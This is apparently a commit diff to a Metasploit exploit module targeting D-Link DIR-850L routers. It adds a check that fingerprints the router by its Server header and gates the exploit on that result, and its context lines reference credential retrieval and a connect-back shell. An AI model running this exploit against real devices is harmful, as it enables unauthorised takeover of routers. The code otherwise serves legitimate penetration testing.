Update dlink_850l_unauth_exec.rb

Author: Austin

modules/exploits/linux/http/dlink_850l_unauth_exec.rb

@@ -54,6 +54,28 @@ def initialize(info = {})
         OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
       ])
   end
+  
+  def check
+    begin
+      res = send_request_cgi({
+        'uri' => '/',
+        'method' => 'GET'
+        })
+      if res && res.headers['Server']
+        auth = res.headers['Server']
+        if auth =~ /DIR-850L/
+          if auth =~ /WEBACCESS\/1\.0/
+            return Exploit::CheckCode::Safe
+          else
+            return Exploit::CheckCode::Detected
+          end
+        end
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+    Exploit::CheckCode::Unknown
+  end
 
   def report_cred(opts)
     service_data = {
@@ -196,7 +218,13 @@ def execute(cmd, username, password)
 
 
   def exploit
+    
+    print_status("#{peer} - Connecting to target...")
 
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
+    end
+    
     #
     # Information Retrieval, obtains creds and logs in
     #